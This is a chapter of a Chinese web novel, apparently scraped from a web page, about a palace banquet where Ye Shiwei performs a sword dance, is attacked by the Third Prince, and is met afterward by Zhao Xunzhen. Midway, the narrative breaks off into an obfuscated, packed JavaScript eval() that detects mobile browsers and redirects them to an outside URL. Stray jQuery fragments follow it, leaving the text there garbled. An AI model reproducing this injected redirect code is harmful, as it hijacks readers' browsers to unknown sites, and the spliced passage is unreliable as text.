20. 来接你

作品:《他又在装绿茶了

    叶拭微深吸一口气,拔剑出鞘,将剑鞘还给李怀瑾,对他笑道:“多谢殿下。”


    李怀瑾让开路来,站到一旁不碍事的地方,目不转睛看着叶拭微。


    叶拭微手腕翻转,提剑挽剑花做起势动作,剑横于胸前,她左手二指并起,与剑身隔两指距离,从剑柄缓缓划至剑尖,凌厉眼神随之而动。


    而后握剑朝前下劈,身姿轻盈,挥袖若风。她今日着一粉蓝色襦裙,身后云天相接,发辫随动作跃动,剑招与身体极和谐,仿佛合而为一,以身作剑,在空中跃动摇晃的发辫便是灵动剑穗。


    李怀瑾眯了眯眼睛。


    须臾之后,他忽然拔出身侧一兵士腰间佩剑,飞身而起,刺向叶拭微!


    叶拭微猛地抬眼,本能提剑格挡。然而她学这些招式只是为了今日宴席能有才艺当众献出,并非真的擅长吃透,且她只会这一套剑招,攻击力并不强势。


    这一下格挡已经震得她手臂发麻,五根手指都在隐痛,若是李怀瑾继续步步紧逼,怕是今日就要在此出丑。一时无法,叶拭微在脑海急剧回忆赵寻真教给承慧的剑招,一招一式都在心底细细看过,终于从中挑出一招,在李怀瑾下一次攻击到来之前,先发制人,一剑刺向他咽喉!


    李怀瑾瞳孔骤缩,心脏狂跳,本能以手抓剑,叶拭微慌忙收回,按下心中意外慌乱,退后两步,朝他行了一礼,双手奉剑,“多谢殿下借剑之谊。”


    在座诸位俱是一语不发,这出变故实在莫名其妙,本来看叶拭微舞剑颇有意思,谁能料到三皇子竟会突然过来捣乱,打搅了别人好好的舞剑不说,反惹了一场风波。


    叶拭微那一举动,也着实冒犯,真论起来,治她大不敬也不为过,可眼下娘娘们和殿下们都不曾表态,其余人又哪来的资格?


    正想着,六公主李怀安已经鼓掌出声:“二姑娘这一场舞剑,当真是秒!尤其是最后拿住三皇兄的那一下,更是让我惊艳,差点没直接高呼一声‘厉害!’”


    她又看向李怀瑾,“说来也是,三皇兄没事过去搅什么乱,这宫里来来回回都是弹琴跳舞,都多久没出新鲜节目了?好容易出了一个,还被你毁了,皇兄可要好好同这位二姑娘赔不是才对。”


    李怀瑾闷不吭声拿回自己佩剑,目光流连在叶拭微身上,却是不曾再发一言。


    张贵妃已然看出不对,打圆场道:“看来瑾儿对这位二姑娘真真是喜欢得紧,竟都忍不住自己下去对上几招了。不过照臣妾看来,二姑娘这出舞剑,也确实新鲜,皇后娘娘觉得呢?”


    吴皇后本就出身武将之家,虽自己不擅弯弓舞剑,却见过无数次这种场面,看出来叶拭微乃是临阵抱佛脚,不过能到这种程度,绝对是下了大功夫的,这套剑招又极具观赏性,若是李怀瑾没有贸然上前打乱她的节奏,待她结束,必定是场视觉盛宴。


    她对这人多了些满意,笑着附和:“确实,二姑娘有心了,不愧是御史之女、相爷之后。”


    王贵妃调侃道:“能得皇后娘娘夸奖,还不赶快谢恩,求娘娘赏赐?”


    吴皇后看她一眼,“你倒是会做好人,也罢,二姑娘如此惊艳的开场,的确当赏。”说着取下腕间云纹金丝翡翠镯,递给身旁宫女,“给二姑娘送过去。”


    叶拭微右臂已经没有知觉了,后背冷汗涔出,现在镇定已是极力伪装,她强硬勾出一个笑容,却觉得身体有些不受控制。


    身后忽然搭过来一条手臂,叶拭微听到叶净渊声音:“怎还不谢恩?高兴呆了不成?”


    叶拭微感觉自己手臂被挽住,人也被她压着向下弯腰,心中有了些力量,道:“谢娘娘恩典,给拭微在您面前卖弄的机会。”


    众目睽睽,叶净渊不好一直支撑着叶拭微,将手臂撤走。


    宫女将云纹金丝翡翠镯拿到面前,叶拭微躬身收下,和叶净渊一道回去。


    坐下以后,叶净渊忙给她递过去一杯茶水,叶拭微饮下,却没有舒服多少。


    尚在众人目光之下,她不能做别的,在桌子掩藏之下,拉过来叶拭微的手,放在自己腿上,用手帕擦拭干净被她指甲掐破掌心而渗出的血。


    趁着其他公子小姐表演之际,她从袖间拿出一个瓷瓶,倒出一粒黑色药丸,给叶拭微服下。


    这药丸大约是有缓痛之效,叶拭微服下以后,好转一些。


    孙文蓉扭头看她们一眼,叶净渊轻声道:“母亲,拭微没事。”


    孙文蓉:“那你也该准备准备,去弹奏一曲。”


    叶净渊垂首示意自己知道,却还是迟迟没有过去,时刻留意叶拭微情况。直到叶拭微推她,且有皇后点名问她今日怎么没任何动作,才站起身,歉意一笑,不好意思道:“今日出门出得急,净渊把古筝落在家里了。”


    吴皇后笑道:“那有什么妨碍?直接同本宫说,本宫着人从库房里挑一把好的赏你就是。覃垣,你去库房把本宫新得的那把朱雀韵拿来,送给净渊。”


    不过多时,宫人怀抱一把古筝而来,那古筝用料上乘,制作讲究,筝身雕刻朱雀神鸟,栩栩如生,惟妙惟肖。


    叶净渊谢过恩,演奏了一首《高山流水》,得满堂喝彩。


    她揖礼下台,叶拭微朝她笑笑,与有荣焉的模样,“阿姐很厉害。”


    叶净渊低声道:“都是糊弄人的,在座各位,哪个的拿手戏都是表演了不知道多少次的,看也看倦了,这些喝彩夸奖之言,没多少真心,不过时势催生。”


    叶拭微:“那也厉害。我觉着很厉害,回府以后,阿姐也要弹给我听。”


    “好啊。”


    一个时辰过去,要表演才艺的都表演过了,要互相相看的也都结束了,赏花宴才算真正开始。


    一盆接一盆新研制品种的花被太监们送上来,供各位贵人欣赏。


    公子小姐们一句句的诗词传到叶拭微耳中,几乎都不间断。他们用华丽美好的句子描述面前的花,叶拭微听了个半懂,按照自己的理解再去看花,就觉得这也只是一盆盆花,没什么特别。


    卢彤云瞥到这边情况


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828141|175147||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“二妹妹好一会没有说话了?可是有什么事?”


    不等叶拭微回答,孙文蓉就先替她找补说:“这孩子就这种性格,不爱说话。”


    张皇后看过来,“倒是不好,多少也要和大家说上几句呀,一个人闷在那里,岂不很没意思?”


    卢彤云便笑着道:“不如妹妹就面前的花,说些什么?”


    叶拭微淡淡看她一眼,心知她不怀好意,偏自己确实不擅此道,心烦不已,收回目光看向面前的花,忽然就若雨后初晴。


    可不是巧了,面前这花,恰是海棠。


    她轻轻一笑,道:“海棠不惜胭脂色,独立蒙蒙细雨中。世间花千万,我偏爱海棠的坚韧明媚,即便风雨摧残,也能绽放风采。”


    卢彤云面不改色:“二妹妹说的是,海棠和梅花,皆是这般高洁的花,一者不惧风雨,一者不畏严寒……”


    叶拭微留心听她的话,分了点心神,瞥向自她开口之际就落在身上的粘腻目光,勾起唇角,对三皇子笑了一下。


    李怀瑾怔然一瞬,后知后觉有些气,也笑了出来。


    那厢卢彤云话已说尽,叶拭微赞同地附和一句:“彤云姐姐说的是。”


    之后无事坐到散席,终于能起身离开。叶拭微手脚酸麻,右臂尤甚,简直比做了一天活还要累人。


    她随着人流,被叶净渊挽住右臂,手指掩藏在衣袖堆叠之下,给她揉捏放松,一路闲聊,很快便至外殿。


    各家马车已在宫门外停候。


    叶拭微一眼看到,叶府马车之侧,静立等待的赵寻真。


    目光交接,他对叶拭微露出一个不甚明显的笑容。


    叶拭微拍拍叶净渊的手,“我先过去。”


    叶净渊知道叶拭微被三皇子那一剑伤了手臂,已经勉力支撑一天,虽然面上后来已经看不出什么,但方才她替她揉捏之时,叶拭微的手臂仍然在不受控地发抖。


    孙文蓉尚在同旁人说话,叶净渊便没陪她一起,给叶拭微打着掩护,看她过去。


    走到马车旁侧,赵寻真已经先一步拿下来马凳放在车旁。


    叶拭微经过,看他一眼,扶着吟夏,上了马车。她特意用左臂搭上吟夏手掌,为的就是不让右臂使力。但或许是那丸药效果已过,她往轿子里面进去的时候,右臂忽然没预兆地疼了起来,密密匝匝,犹如千万根针扎。


    饶是叶拭微再能忍,也是不由得从喉中泄出一声压抑闷哼。


    赵寻真立刻看了过来。


    叶拭微已经坐到马车之上,他只看到叶拭微一角裙摆。


    很快,就连那角裙摆也没入了车帘之下。


    赵寻真不免担忧,四下又都是人,他不知如何是好,直到余光瞥见车厢珠帘动作幅度有些微加剧,心中明朗,退至那个位置。


    就听叶拭微问:“你怎么过来了?”


    “我来接小姐。”赵寻真想转头去看,忍住,嘴唇几乎没有动,声音完全是从喉间哼出来的,模糊又含混,“小姐可是受伤了?”